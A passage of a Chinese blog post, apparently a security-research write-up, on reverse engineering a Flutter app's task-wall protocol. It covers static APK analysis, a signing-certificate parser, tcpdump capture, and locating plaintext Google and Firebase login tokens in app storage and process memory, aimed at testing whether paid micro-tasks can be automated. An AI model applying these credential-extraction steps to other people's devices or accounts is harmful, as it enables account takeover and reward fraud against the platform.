</content:encoded></item><item><title>一次 Flutter 应用任务墙协议的逆向分析与边界复盘</title><link>https://blog.ouneed.tech/posts/flutter-taskwall-protocol-research/</link><guid isPermaLink="true">https://blog.ouneed.tech/posts/flutter-taskwall-protocol-research/</guid><description>對某 Flutter 應用任務牆模塊的協議逆向分析：從流量抓包到接口還原，以及過程中的邊界思考。</description><pubDate>Wed, 23 Sep 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;strong&gt;目录&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href=&quot;#section-1&quot;&gt;0. TL;DR：先给结论&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#section-2&quot;&gt;1. 起点：一个待验证的问题&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#section-3&quot;&gt;2. 工具链与环境&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#section-4&quot;&gt;3. 第一层：静态侦察&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#section-5&quot;&gt;4. 第二层：动态取证（真机 + root）&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#section-6&quot;&gt;5. 第三层：Dart AOT 方法体还原（blutter）&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#section-7&quot;&gt;6. 认证体系：把身份从设备里&quot;迁出来&quot;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#section-8&quot;&gt;7. 任务协议：从 WebView 内联 JS 到三个端点&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#section-9&quot;&gt;8. 验证路径：只读、单题与有限观察&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#section-10&quot;&gt;9. 工程化：从一个能跑的脚本到一个可维护的系统&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#section-11&quot;&gt;10. 安全边界与最终结论&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#section-12&quot;&gt;11. 方法论沉淀：可迁移的东西&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#appendix-a&quot;&gt;附录 A：错误码 / 异常速查表（脱敏）&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#appendix-b&quot;&gt;附录 B：成功证据摘录（脱敏）&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#conclusion&quot;&gt;结语&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;blockquote&gt;&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;从 APK 拆包、Dart AOT 还原、真机动态取证，到协议验证与安全边界的完整复盘&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;写在前面（脱敏与边界声明）&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;本文是一次个人向的&lt;strong&gt;协议分析与安全研究&lt;/strong&gt;过程记录。目标 App、后端域名、Firebase 项目 ID、账号、Token、设备型号等一切可识别信息均已脱敏，文中出现的 &lt;code&gt;*.example&lt;/code&gt;、&lt;code&gt;&amp;lt;...&amp;gt;&lt;/code&gt; 均为占位符，请勿对号入座。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;所有操作均使用本人账号，遵循「先静态、再只读、后单点」的验证节奏；未批量注册、未伪造设备指纹、未尝试绕过 Google Play 完整性校验。技术上可调用接口，并不意味着平台允许自动化完成有报酬的任务。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;文中保留了大量&lt;strong&gt;失败与悬案&lt;/strong&gt;记录。一篇只有成功的技术复盘没有价值，真正的信息量在那些&quot;这里不对、那里存疑&quot;的推理里。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;0. TL;DR：先给结论 {#section-1}&lt;/h2&gt;
&lt;p&gt;|
问题 |
结论 |&lt;/p&gt;
&lt;p&gt;| --- | --- |&lt;/p&gt;
&lt;p&gt;|
任务系统（任务墙）能否由普通 HTTP 客户端直接访问？ |
&lt;strong&gt;能。&lt;/strong&gt; 纯 HTTPS + JSON + Bearer Token，无设备绑定、无每请求完整性校验 |&lt;/p&gt;
&lt;p&gt;|
需要 root 吗？ |
&lt;strong&gt;不需要。&lt;/strong&gt; 存在三条凭据获取路线，免 root 路线端到端验证通过 |&lt;/p&gt;
&lt;p&gt;|
需要真机长期参与吗？ |
协议验证阶段无需持续连接真机；会话续期可在 PC 上完成 |&lt;/p&gt;
&lt;p&gt;|
任务时限由谁校验？ |
&lt;code&gt;min_seconds&lt;/code&gt; 由服务端下发，提前提交会收到 &lt;code&gt;too_fast&lt;/code&gt; |&lt;/p&gt;
&lt;p&gt;|
唯一无法复现的环节是什么？ |
权益兑换接口（受 Play 完整性栈保护，token 必须由真实设备上的真实 App 实例产生） |&lt;/p&gt;
&lt;p&gt;|
最终产出 |
一套协议验证工具和本地控制台，并形成客户端行为与服务端校验边界的证据链 |&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;1. 起点：一个待验证的问题 {#section-2}&lt;/h2&gt;
&lt;p&gt;一切的起因，是在某个技术论坛里看到一张截图：有人部署了一个所谓「一键脚本」（跑在某 Linux 运维面板上），后台在自动完成某款海外工具类 App 里的&lt;strong&gt;任务墙&lt;/strong&gt;小任务——看图/看视频做 A/B 选择，每隔几十秒提交一题，余额以每题 $0.012 的固定增量线性增长，附带任务 ID 和一句话日志。&lt;/p&gt;
&lt;p&gt;这款 App 本身是一个典型的「积分回馈」型产品：Google 账号登录，App 内嵌任务墙模块，用户完成数据标注类小任务累积余额，余额可在 App 内兑换权益。任务内容本身是给 AI 生成模型做评测（两个候选视频/图片，哪个更符合一段中文提示词）。&lt;/p&gt;
&lt;p&gt;我的问题很具体，也有明确的验收标准：&lt;/p&gt;
&lt;blockquote&gt;&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;这个任务系统，到底能不能用一个普通 HTTP 客户端（Python 脚本）完成？还是依赖设备侧计算、完整性校验或动态签名？&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;注意这不是一个可以拍脑袋回答的问题。Flutter 应用的业务逻辑编译在 &lt;code&gt;libapp.so&lt;/code&gt; 里，认证体系套着 Firebase，还有各种疑似安全机制。我给自己定了三层证据标准：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;静态层&lt;/strong&gt;：从 APK 里读出技术栈、端点清单、调用链，结论必须有字符串/代码依据；&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;动态层&lt;/strong&gt;：真机 + root + logcat + 抓包 + 内存扫描，拿到运行时才可见的事实；&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;实测层&lt;/strong&gt;：在完全脱离手机的环境（PC）里，用真实接口逐字段验证，能复跑的证据才算数。&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;任何一层单独都不够。比如只靠静态很容易把「服务端持有设备指纹」过度脑补成「任务接口强绑定设备」——实际上第一轮我就下了这么一个&lt;strong&gt;证据不足的错误判断&lt;/strong&gt;，后面靠实测推翻了自己（见 §3.6、§4.5、§7.5）。这种自我修正在复盘里会原样保留。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;2. 工具链与环境 {#section-3}&lt;/h2&gt;
&lt;h3&gt;2.1 硬件与系统环境&lt;/h3&gt;
&lt;p&gt;|
项 |
配置 |&lt;/p&gt;
&lt;p&gt;| --- | --- |&lt;/p&gt;
&lt;p&gt;|
分析主机 |
Windows 11，PowerShell 5.1 |&lt;/p&gt;
&lt;p&gt;|
目标设备 |
一台已 root 的 Android 测试机（约 2021 年旗舰机型，adb 可用，&lt;code&gt;su -c id -u = 0&lt;/code&gt;） |&lt;/p&gt;
&lt;p&gt;|
网络环境 |
本机代理为 TUN + fakeip 模式（这一点后面酿成了不少麻烦，见 §6.3） |&lt;/p&gt;
&lt;p&gt;|
运行期目标环境 |
① Windows PC；② OpenWrt 软路由（&lt;code&gt;python3-light&lt;/code&gt;，免 root） |&lt;/p&gt;
&lt;h3&gt;2.2 工具清单（全部便携式，零系统安装）&lt;/h3&gt;
&lt;p&gt;|
工具 |
版本 |
用途 |&lt;/p&gt;
&lt;p&gt;| --- | --- | --- |&lt;/p&gt;
&lt;p&gt;|
Temurin JDK |
17.0.20.1+1 |
jadx / apktool / keytool 的运行时 |&lt;/p&gt;
&lt;p&gt;|
apktool |
2.9.3 |
资源与 Manifest 反编译 |&lt;/p&gt;
&lt;p&gt;|
jadx CLI |
1.5.6 |
Java/Kotlin 层反编译 |&lt;/p&gt;
&lt;p&gt;|
blutter |
对应 Dart 3.8.1 arm64 |
&lt;strong&gt;Dart AOT 方法体还原&lt;/strong&gt;（Flutter 逆向的关键武器） |&lt;/p&gt;
&lt;p&gt;|
Android platform-tools |
最新 |
adb |&lt;/p&gt;
&lt;p&gt;|
Python |
3.13.15 |
最终客户端，&lt;strong&gt;只用标准库&lt;/strong&gt; |&lt;/p&gt;
&lt;p&gt;|
Edge（headless） |
系统自带 |
Web SDK 行为验证 |&lt;/p&gt;
&lt;p&gt;环境组织成一个自包含的工作区，APK、反编译产物、笔记、证据分目录存放，后期清理只删一个文件夹。这个习惯很重要：整个项目持续约三天，产出物横跨十几种格式，没有目录纪律早就乱了。&lt;/p&gt;
&lt;h3&gt;2.3 方法论：三层证据法则&lt;/h3&gt;
&lt;p&gt;我给自己定的工作流，后面所有章节都按这个顺序推进：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;静态侦察（apktool / jadx / strings / blutter）
      ↓  形成假设
动态取证（adb / logcat / tcpdump / /proc/pid/mem）
      ↓  证实或证伪
协议实测（PC 直连真实接口，逐字段比对）
      ↓  只有走到这一层的结论才敢写进报告
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;关键原则：区分「服务端语义」和「客户端实现」。&lt;/strong&gt; 客户端 JS 里没有 30 秒等待常量，不等于服务端不校验——前者是 grep 结论，后者只能实测。这两件事混在一起是新手最常见的翻车方式。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;3. 第一层：静态侦察 {#section-4}&lt;/h2&gt;
&lt;h3&gt;3.1 拿到样本：SAI 导出 split bundle&lt;/h3&gt;
&lt;p&gt;样本是 SAI（Split APKs Installer）导出的拆分安装包，一个 &lt;code&gt;.apk+&lt;/code&gt; 目录（本质是 zip）：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;TargetApp&amp;gt; &amp;lt;version&amp;gt;.apk+
├── base.apk                  # 44 MB，主包
├── split_config.arm64_v8a.apk  # 20 MB，原生库（libapp.so 在这里）
├── split_config.zh / en / ko / xxhdpi.apk   # 语言与密度资源
└── apk+.json                 # 拆分清单
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;主包含 DEX、Flutter 资产与资源；&lt;strong&gt;arm64 split 才是业务逻辑的本体&lt;/strong&gt;。样本的 SHA-256 已记录在笔记里（脱敏起见不贴全值），复跑时先对样本再开工。&lt;/p&gt;
&lt;h3&gt;3.2 apktool：Manifest 里的第一份情报&lt;/h3&gt;
&lt;p&gt;反编译 Manifest 后的关键发现：&lt;/p&gt;
&lt;p&gt;|
项 |
值 |
解读 |&lt;/p&gt;
&lt;p&gt;| --- | --- | --- |&lt;/p&gt;
&lt;p&gt;|
包名 |
&lt;code&gt;com.&amp;lt;...&amp;gt;.&amp;lt;...&amp;gt;&lt;/code&gt;（已脱敏） |
— |&lt;/p&gt;
&lt;p&gt;|
versionName / versionCode |
〔已脱敏〕 |
用于样本归档，不作为公开识别线索 |&lt;/p&gt;
&lt;p&gt;|
minSdk / targetSdk |
28 / &lt;strong&gt;36&lt;/strong&gt; |
高 targetSdk，意味着各类&quot;历史漏洞式&quot;备份方案基本失效 |&lt;/p&gt;
&lt;p&gt;|
分发渠道 |
Google Play（&lt;code&gt;com.android.stamp.source=play.google.com&lt;/code&gt;，STAMP_TYPE_DISTRIBUTION_APK） |
Play 分发 + Play 应用签名 |&lt;/p&gt;
&lt;p&gt;|
Application |
&lt;strong&gt;&lt;code&gt;com.pairip.application.Application&lt;/code&gt;&lt;/strong&gt; |
Google Play 完整性保护（pairip）包装了真实 Application——&lt;strong&gt;这是一个强信号&lt;/strong&gt; |&lt;/p&gt;
&lt;p&gt;|
Firebase 组件 |
&lt;code&gt;FirebaseAppCheckRegistrar&lt;/code&gt; 等在册 |
App Check 已接入 |&lt;/p&gt;
&lt;p&gt;|
allowBackup |
&lt;strong&gt;未声明&lt;/strong&gt; |
默认行为被 targetSdk 抬高后收紧，&lt;code&gt;adb backup&lt;/code&gt; 路线（后验）预期收益低 |&lt;/p&gt;
&lt;p&gt;|
MainActivity |
exported（常规，含 VIEW intent-filter） |
无可疑导出组件 |&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;pairip 的初次判定&lt;/strong&gt;：&lt;code&gt;com.pairip.application.Application&lt;/code&gt; + &lt;code&gt;integrity.properties&lt;/code&gt; 说明这个 App 用了 Google Play 的完整性/许可校验。它通常做两件事：反篡改、以及把 Play Integrity 能力以某种形式暴露给应用。我在这里标记了一个待验证命题：&lt;em&gt;App 的敏感接口是否会经过 pairip 产生一次性证明？&lt;/em&gt; 这个悬念一直留到 §5 才解开。&lt;/p&gt;
&lt;h3&gt;3.3 签名证书：不依赖 apksigner 的解析&lt;/h3&gt;
&lt;p&gt;需要知道签名证书指纹（后续任务平台 SDK 的初始化请求里会上报 &lt;code&gt;sha256_cert&lt;/code&gt;）。不想装 Android SDK，于是直接手写 APK Signing Block 解析——這件事本身就是个不错的小练习：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3
&quot;&quot;&quot;Extract signer certificate SHA-1/SHA-256 from APK Signing Block (v2/v3), no apksigner needed.&quot;&quot;&quot;
import hashlib, struct, sys

def lp(data, p):
    &quot;&quot;&quot;length-prefixed blob: uint32 len + bytes&quot;&quot;&quot;
    n = struct.unpack(&quot;&amp;lt;I&quot;, data[p:p + 4])[0]
    return data[p + 4:p + 4 + n], p + 4 + n

def certs_from_block(blob):
    certs = []
    pos, end = 8, len(blob) - 24 - 8
    while pos + 12 &amp;lt;= end:
        pair_len = struct.unpack(&quot;&amp;lt;Q&quot;, blob[pos:pos + 8])[0]
        pair_id  = struct.unpack(&quot;&amp;lt;I&quot;, blob[pos + 8:pos + 12])[0]
        if pair_id in (0x7109871A, 0xF05368C0):          # v2 / v3
            seq = blob[pos + 12:pos + 8 + pair_len]
            signers, _ = lp(seq, 0)
            p = 0
            while p &amp;lt; len(signers):
                signer, p = lp(signers, p)
                signed_data, _ = lp(signer, 0)
                q = 0
                _, q = lp(signed_data, q)               # digests
                cs, q = lp(signed_data, q)              # certificates seq
                r = 0
                while r &amp;lt; len(cs):
                    cert, r = lp(cs, r)
                    certs.append(cert)
        pos += 8 + pair_len
    return certs

def main():
    data = open(sys.argv[1], &quot;rb&quot;).read()
    idx = data.rfind(b&quot;PKx05x06&quot;)                      # EOCD
    cd_off = struct.unpack(&quot;&amp;lt;I&quot;, data[idx + 16:idx + 20])[0]
    if data[cd_off - 16:cd_off] != b&quot;APK Sig Block 42&quot;:
        raise RuntimeError(&quot;no signing block&quot;)
    blk_size = struct.unpack(&quot;&amp;lt;Q&quot;, data[cd_off - 24:cd_off - 16])[0]
    blob = data[cd_off - blk_size - 8:cd_off]
    for i, c in enumerate(certs_from_block(blob)):
        print(f&quot;--- cert #{i}, {len(c)} bytes DER&quot;)
        print(&quot;SHA-256:&quot;, hashlib.sha256(c).hexdigest().upper())
        print(&quot;SHA-1:  &quot;, hashlib.sha1(c).hexdigest().upper())
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;跑出来一对摘要值（脱敏略去），再用 &lt;code&gt;keytool -printcert&lt;/code&gt; 核对证书主体和算法；证书有效期与指纹不公开。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;判定&lt;/strong&gt;：Play App Signing 的部署证书。含义有两个：① 设备上从 Play 装的原版应用同签名；② 重打包版签名不同——后来这个差别被用来解释「为什么重打包的机器上某条原生通道直接坏掉」（§10.2）。&lt;/p&gt;
&lt;h3&gt;3.4 jadx：Java 层没什么料，但排除法有价值&lt;/h3&gt;
&lt;p&gt;jadx 全量反编译 &lt;code&gt;base.apk&lt;/code&gt;（六个 DEX）。结论很「负」但很重要：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Java 层几乎只有壳：&lt;code&gt;MainActivity&lt;/code&gt;（Flutter embedding）、一个第三方任务平台 SDK（下称 &lt;strong&gt;DP&lt;/strong&gt;，包名 &lt;code&gt;com.&amp;lt;vendor&amp;gt;.&amp;lt;sdk&amp;gt;.*&lt;/code&gt;，带一层混淆包）、Firebase SDK、以及若干广告/支付/订阅 SDK；&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;没有任何业务逻辑&lt;/strong&gt;：登录、任务、余额全在 Dart 侧；&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;但 DP SDK 的网络层是原生 &lt;code&gt;HttpURLConnection&lt;/code&gt;，代码没混淆，可以完整读出它的请求格式——包括 &lt;code&gt;initialize&lt;/code&gt; 时上报的全量设备指纹（签名证书 SHA-256 + 广告 ID + &lt;code&gt;install_id&lt;/code&gt; + &lt;code&gt;android_id&lt;/code&gt; + 机型/系统/网络/电量/locale）。这补上了「第三方任务平台如何绑定设备」的证据，哪怕最后证明本账号走的是另一条路（§4.5）。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;3.5 libapp.so：Dart AOT 的字符串金矿&lt;/h3&gt;
&lt;p&gt;Flutter 的业务逻辑在 &lt;code&gt;libapp.so&lt;/code&gt;（约 8.3 MB AOT 快照，arm64 split 内），&lt;code&gt;libflutter.so&lt;/code&gt; 约 11.3 MB。Dart AOT 的一个便利点是：&lt;strong&gt;符号/字符串没有被有效混淆&lt;/strong&gt;。&lt;code&gt;strings&lt;/code&gt; 一遍，货很多：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;完整 Dart 源码路径树：&lt;code&gt;package:&amp;lt;App&amp;gt;/screens/task_wall_screen.dart&lt;/code&gt;、&lt;code&gt;services/&amp;lt;dp&amp;gt;_service.dart&lt;/code&gt;、&lt;code&gt;services/integrity_service.dart&lt;/code&gt;、&lt;code&gt;services/purchase_api.dart&lt;/code&gt;、&lt;code&gt;services/wallet_service.dart&lt;/code&gt;……相当于免费拿到了模块划分图；&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;HTTP 客户端是 &lt;strong&gt;Dio&lt;/strong&gt;（约 47 处引用）+ &lt;code&gt;package:http&lt;/code&gt;（约 20 处），没看到证书固定（pinning）的迹象；&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;11 个自有 REST 端点&lt;/strong&gt;字符串，包括 &lt;code&gt;GET /api/integrity/nonce/&lt;/code&gt;、&lt;code&gt;POST /api/integrity/attest/&lt;/code&gt;、&lt;code&gt;/api/rewards/claim-with-tasks/&lt;/code&gt;、&lt;code&gt;/api/tasks/wall/...&lt;/code&gt; 等；&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;MethodChannel 名清单：&lt;code&gt;&amp;lt;app&amp;gt;/&amp;lt;dp&amp;gt;&lt;/code&gt;、&lt;code&gt;&amp;lt;app&amp;gt;/&amp;lt;dp&amp;gt;_events&lt;/code&gt;、以及一个语义敏感的 &lt;strong&gt;&lt;code&gt;&amp;lt;app&amp;gt;/integrity&lt;/code&gt;&lt;/strong&gt;；&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;JS 桥相关字符串：&lt;code&gt;window.on&amp;lt;App&amp;gt;Token(...)&lt;/code&gt;、&lt;code&gt;window.on&amp;lt;App&amp;gt;Volume(...)&lt;/code&gt;（App 注入给 WebView 页面用）、DP SDK 的 &lt;code&gt;&amp;lt;DP&amp;gt;Task&lt;/code&gt; / &lt;code&gt;&amp;lt;DP&amp;gt;App&lt;/code&gt; 桥；&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;字段名：&lt;code&gt;wallet_balance_cents&lt;/code&gt;、&lt;code&gt;tasks_completed&lt;/code&gt;、&lt;code&gt;tasks_revenue_usd&lt;/code&gt;、&lt;code&gt;tasks_config&lt;/code&gt;、&lt;code&gt;tasks_wall_url&lt;/code&gt;、&lt;code&gt;sdk_key_len&lt;/code&gt; / &lt;code&gt;sdk_key_prefix&lt;/code&gt; / &lt;code&gt;token_expiry&lt;/code&gt; 等。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;此时我已经能画出两条并存的&quot;任务提供方&quot;假设：&lt;strong&gt;DP 平台（第三方数据标注）&lt;/strong&gt; 和 &lt;strong&gt;自家后端的任务墙网页&lt;/strong&gt;。&lt;code&gt;tasks_config&lt;/code&gt; 文档里的 &lt;code&gt;tasks_provider&lt;/code&gt; 字段暗示这是可配置的——这个伏笔在 §4.5 引爆。&lt;/p&gt;
&lt;h3&gt;3.6 第一轮的结论，以及一个被推翻的判断&lt;/h3&gt;
&lt;p&gt;基于以上静态证据，我第一轮给出的结论是：&lt;/p&gt;
&lt;blockquote&gt;&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;&quot;任务协议强绑定设备指纹与第三方 SDK，普通 HTTP 客户端难以直接执行任务。&quot;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;这个结论后来被证明证据不足，我撤回了它。&lt;/strong&gt; 问题出在：我把「DP SDK 初始化时上报设备指纹」这个事实，错误地外推成了「任务接口每次调用都要设备证明」。静态分析只能告诉我&quot;客户端做了什么&quot;，服务端&quot;实际校验什么&quot;是灰的。正确的姿势是：先假设协议本体是朴素 HTTP，再设计实验去测服务端的真实边界。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;这次翻车的方法论价值&lt;/strong&gt;：写进报告的每一句&quot;不可行&quot;，都要配一个&quot;实验编号&quot;。没有实验支撑的判断，连自己都别信。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;4. 第二层：动态取证（真机 + root） {#section-5}&lt;/h2&gt;
&lt;p&gt;静态给出地图后，上真机。root 已具备，adb 直连。&lt;/p&gt;
&lt;h3&gt;4.1 完整数据目录快照：三个独立来源的反证&lt;/h3&gt;
&lt;p&gt;导出整包数据目录后第一件事：&lt;strong&gt;验证「DP SDK 到底有没有被初始化过」&lt;/strong&gt;。方法不是找&quot;有&quot;，而是找&quot;没有&quot;——三个独立来源交叉：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;shared_prefs/&lt;/code&gt; 共 31 个 XML 文件，逐一列出，&lt;strong&gt;没有&lt;/strong&gt; &lt;code&gt;&amp;lt;dp&amp;gt;_sdk_prefs.xml&lt;/code&gt;；&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;WebView Cookies 数据库 0 条记录；Local Storage / Session Storage 无 DP 域名痕迹；&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;adb root 实时列 &lt;code&gt;/data/data/&amp;lt;pkg&amp;gt;/shared_prefs/&lt;/code&gt;，同样没有。&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;阶段结论&lt;/strong&gt;：在这次设备快照与观察窗口内，没有看到 DP SDK 初始化或其页面访问的证据。也就是说，静态分析里最完整的那部分（DP 的 WebView、JS 桥、指纹上报）&lt;strong&gt;未能证明与本账号的任务墙路径有关&lt;/strong&gt;。这不是对所有账号和所有时间的断言，却足以促使我优先检查另一条任务源。&lt;/p&gt;
&lt;blockquote&gt;&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;复盘要点：&lt;strong&gt;反证（证明某事没发生）经常比证明某事发生了更有信息量&lt;/strong&gt;，因为它直接砍掉整条研究路线。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;4.2 凭据存储调查：三种东西，三种安全等级&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;data&amp;gt;/shared_prefs/
├── com.google.android.gms.signin.xml        ← Google 登录 idToken（明文 XML，1 小时有效）
├── Flutter.*.xml / profile_done_&amp;lt;uid&amp;gt;       ← Flutter 侧状态（明文）
└── (EncryptedSharedPreferences 目录)        ← Firebase 持久化登录（设备外不可解密）
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Google idToken&lt;/strong&gt;：明文躺在 &lt;code&gt;com.google.android.gms.signin.xml&lt;/code&gt; 的 &lt;code&gt;tokenId&lt;/code&gt; 字段。这是 Google Sign-In 的缓存，&lt;strong&gt;有效期约 1 小时&lt;/strong&gt;（iat/exp 相差 3600s），且它&lt;strong&gt;不是&lt;/strong&gt; Firebase token。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Firebase ID Token / Refresh Token&lt;/strong&gt;：存在 &lt;code&gt;EncryptedSharedPreferences&lt;/code&gt;（&lt;code&gt;com.google.firebase.auth.api.Store.*&lt;/code&gt;），密钥在 Android Keystore 里，&lt;strong&gt;设备外不可解密&lt;/strong&gt;。这把「备份数据文件迁移凭据」的路线直接判死（也再次证明 §3.2 里 &lt;code&gt;allowBackup&lt;/code&gt; 未声明 + 高 targetSdk 的判断）。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;其它顺带取证：Firebase UID（Flutter prefs 与订阅 SDK 的订阅者 ID 双印证）、FCM Token、订阅 SDK 匿名 ID、机型与 adb 序列号——全部记录后打码。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;4.3 logcat 与 tcpdump：以及一个真实的低级错误&lt;/h3&gt;
&lt;p&gt;原计划双轨取证：&lt;code&gt;adb logcat&lt;/code&gt; 全量落盘（多轮，每轮 4~12 MB），同时对设备抓 &lt;code&gt;tcpdump&lt;/code&gt; 存 pcap（一晚上攒了 20+ MB）。踩的第一个坑非常朴实：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;adb shell &quot;/system/bin/tcpdump -i any -s 0 -w /sdcard/task.pcap&quot;
# /system/bin/sh: no closing quote
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;引号嵌套被 &lt;code&gt;adb shell&lt;/code&gt; 的又一层 shell 解析吞了。修正方式：脚本推到设备上再执行，或者用单引号包住整条命令。&lt;strong&gt;这种坑值得写进复盘&lt;/strong&gt;——它提醒你动态取证本身是有噪声的，每条&quot;异常&quot;先怀疑自己的工具链，再怀疑目标。&lt;/p&gt;
&lt;p&gt;logcat 里确实捞到了不少东西：Firebase Auth 的状态变化、&lt;code&gt;[integrity] attest ok=...&lt;/code&gt; 自研完整性模块的日志行（App 自己 &lt;code&gt;debugPrint&lt;/code&gt; 出来的，说明该模块会把结果打到日志）。但&lt;strong&gt;任务墙相关请求在 logcat 里几乎不可见&lt;/strong&gt;——因为请求发生在 WebView 内的页面 JS 里，不经过任何会打日志的框架。这构成了下一个动作的动机：不抓包，直接从进程内存里看。&lt;/p&gt;
&lt;h3&gt;4.4 运行时内存取证：验证身份与页面来源&lt;/h3&gt;
&lt;p&gt;在本人测试设备上，进程内存取证补上了静态分析无法回答的两个问题：运行时究竟使用哪种身份令牌，以及任务墙页面来自哪个后端。分析时只读取目标进程，按内存映射分段检查，避免全量转储影响设备运行。&lt;/p&gt;
&lt;p&gt;区分 Google 登录令牌与 Firebase 身份令牌时，我核对了令牌载荷的签发方和过期时间。原始令牌没有进入公开报告；笔记中仅保留长度、摘要和必要的时间关系。这一步提供的是&lt;strong&gt;运行时证据&lt;/strong&gt;，并不能单独证明服务端如何校验任务提交。&lt;/p&gt;
&lt;h3&gt;4.5 重大更正：任务墙页面根本不来自第三方 SDK&lt;/h3&gt;
&lt;p&gt;内存扫描捞出来的完整 URL，彻底改变了研究路线：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;https://&amp;lt;app-backend&amp;gt;.example/api/tasks/wall/#token=&amp;lt;Firebase ID Token&amp;gt;&amp;amp;bridge=1&amp;amp;caps=volume&amp;amp;platform=android&amp;amp;lang=zh
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;也就是说——&lt;strong&gt;这个账号的任务墙，是 App 自家后端提供的内联网页&lt;/strong&gt;（URL 本身来自 Firestore 的 &lt;code&gt;tasks_config.tasks_wall_url&lt;/code&gt;），页面内联 JS 与后端 API 直接对话；DP 平台只是这个产品的&lt;strong&gt;另一条备选任务源&lt;/strong&gt;（&lt;code&gt;tasks_provider&lt;/code&gt; 配置切换），本账号从未走过。&lt;/p&gt;
&lt;p&gt;研究方向随之从「逆向第三方 SDK 的 task_bundle 协议」切换到「逆向任务墙网页的内联 JS」——后者反而简单得多，因为 JS 是明文的。&lt;strong&gt;如果没有 §4.1 的反证和 §4.4 的内存扫描，我很可能一直在错误的协议上使劲。&lt;/strong&gt;&lt;/p&gt;
&lt;hr /&gt;
